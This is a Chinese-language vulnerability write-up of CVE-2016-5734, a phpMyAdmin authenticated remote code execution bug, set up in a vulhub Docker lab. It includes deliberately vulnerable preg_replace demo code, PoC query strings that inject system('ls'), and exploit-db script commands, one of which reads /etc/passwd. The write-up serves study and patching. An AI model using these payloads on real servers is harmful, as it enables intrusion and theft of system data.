漏洞描述
CVE-2016-5734在exploit-db上也就是 phpMyAdmin 4.6.2 - Authenticated Remote Code Execution ,意即phpMyAdmin认证用户的远程代码执行,根据描述可知受影响的phpMyAdmin所有的 4.6.x 版本(直至 4.6.3),4.4.x 版本(直至 4.4.15.7),和 4.0.x 版本(直至 4.0.10.16)。 CVE的作者利用在php 5.4.7之前的版本中preg_replace函数对空字节的错误处理Bug,使注入的代码可远程执行.
影响版本
- phpmyadmin 4.6.x 版本(直至 4.6.3)
- phpmyadmin 4.4.x 版本(直至 4.4.15.7)
- phpmyadmin 4.0.x 版本(直至 4.0.10.16)
- php版本: 4.3.0 ~5.4.6
漏洞环境搭建
使用vulhub直接docker一键启动环境CVE-2018-12613环境
下载安装好vulhub后进入/vulhub/phpmyadmin/CVE-2016-5734
目录,执行以下命令启动环境
sudo docker-compose up -d
安装成功后查看端口,发现端口被映射在我们8080端口上
访问虚拟机中localhost:8080,出现以下界面,表示安装成功
漏洞分析
-
首先来说说preg_replace函数:
preg_replace 函数执行一个正则表达式的搜索和替换。 -
再来说说什么是preg_replace \e 的作用:
如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在 后向引用替换时会被用反斜线转义.
测试一下利用\e
实现代码执行:
<?php
highlight_file(__FILE__);
$raw = $_GET['raw'];
$replace = $_GET['replace'];
$text = $_GET['text'];
$text = preg_replace('/'.$raw.'/e', $replace, $text);
?>
poc:
?raw=a&replace=system("ls")&text=larry
如果我们的demo变成了如下的代码,还会有漏洞吗?
<?php
highlight_file(__FILE__);
$raw = $_GET['raw'];
$replace = $_GET['replace'];
$text = $_GET['text'];
$text = preg_replace('/'.$raw.'/i', $replace, $text);
?>
其实还是可以绕过的,当php版本小于5.4.7时,向pattern中注入空字符产生截断,并传入e修饰符,依照能照成php代码执行。
poc:
?raw=a/e%00&replace=system(%22ls%22)&text=larry
关于phpmyadmin代码漏洞分析可以查看以下文章:
https://xz.aliyun.com/t/7836#toc-5
漏洞利用
利用条件:需要知道数据库账号密码
下载利用脚本:
https://www.exploit-db.com/exploits/40185
脚本利用方法:
-u 账号
-p 密码
-c 执行代码(php代码) 默认执行uname -a
python 40185.py -u root -p root http://192.168.154.3:8080
python 40185.py -u root -p root -c "system('cat /etc/passwd')" http://192.168.154.3:8080
漏洞加固
更新php或phpmyadmin
参考链接
https://larry.ngrep.me/2016/09/21/cve-2016-5734-analysis/
https://xz.aliyun.com/t/7836